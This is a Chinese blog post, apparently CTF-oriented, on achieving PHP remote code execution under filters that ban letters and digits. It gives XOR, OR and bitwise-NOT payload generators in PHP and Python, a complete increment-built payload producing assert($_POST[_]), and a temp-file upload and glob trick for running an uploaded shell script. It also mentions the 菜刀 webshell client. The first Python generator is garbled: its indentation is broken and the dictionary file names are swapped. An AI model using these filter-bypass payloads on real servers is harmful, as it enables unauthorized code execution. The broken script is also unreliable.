无字母RCE

既然是无字母RCE那就先说说

php5和php7的assert的区别:

php5(本机Windows):

可以当作命令执行

php7(虚拟机Linux):

啥也没有

这是因为php7.1以后assert不能再执行代码了

我看别人说

"菜刀在实现文件管理器的时候用的恰好也是assert函数,这导致菜刀没办法在PHP7上正常运行。"

但是实践出真知,起码我本机的菜刀在php7.0的getshell管理中依旧没有什么问题

(但是7.3以上确实连不上)7.1,7.2还没试过

接下来就来正式介绍无字母RCE

方法一:异或(只在目标机是Linux时生效,windows不生效)

<?php

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 
        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }
  
        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)^urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }
}
}
fwrite($myfile,$contents);
fclose($myfile);

 

import requests
import urllib
from sys import *
import os
# |

def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("or_rce.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
                if t[0] == i:
                    # print(i)
                    s1 += t[2:5]
                    s2 += t[6:9]
                    break
                    f.close()
                    output = "(\"" + s1 + "\"|\"" + s2 + "\")"
                    return output
                
                while True:
                    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
                    print(param)

要记得php生成的字典要和python运行脚本在同一个目录

步骤:

1.网址访问php脚本生成字典

2.把字典拷贝到python脚本目录下

3.生成想要运行的命令:

4.复制到url执行

方法二:或(只在目标机是Linux时生效,windows不生效)

<?php

$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 
        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }
  
        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)|urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }
}
}
fwrite($myfile,$contents);
fclose($myfile);
import requests
import urllib
from sys import *
import os

# ^


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("xor_rce.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)

要记得php生成的字典要和python运行脚本在同一个目录

步骤:

1.网址访问php脚本生成字典

2.把字典拷贝到python脚本目录下

3.生成想要运行的命令:

4.执行命令:

方法三:取反(只在目标机是Linux时生效,windows不生效)

这个只要php脚本就可以了(要在命令行运行)

<?php
//在命令行中运行

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

如果变量环境里面没有php的话可以在D:\wamp\bin\php\php5.5.12这个目录下运行

命令为:php +文件名

执行命令:

方法四:自增

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

要记得url编码一下

构造出来的语句为:assert($_POST[_]);

接着POST传入_=phpinfo();

方法五:上传临时文件

有一点需要知道在Linux中可以用:

. 文件名 来执行文件

<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="UTF-8">

<meta name="viewport" content="width=device-width, initial-scale=1.0">

<title>POST数据包POC</title>

</head>

<body>

<form action="替换成你题目的网址" method="post" enctype="multipart/form-data">

<!--链接是当前打开的题目链接-->

<label for="file">文件名:</label>

<input type="file" name="file" id="file"><br>

<input type="submit" name="submit" value="提交">

</form>

</body>

</html>

文件上传的数据包,把他放在本地做成.html文件,然后文件上传,上传到的是一个临时目录

记得抓包改数据

#!/bin/sh

ls

这个文件名也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

因为/tem/php??????可以匹配到很多文件,所以要匹配我们的临时文件要用到更精确的匹配

看一下ASCII表

那么因为临时文件最后一个是大写字母所以我们只要用这样的匹配式就可以匹配到我们的临时文件

/???/????????[@-[]

(碍于没有这道题的源码只能贴别人的图了)

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值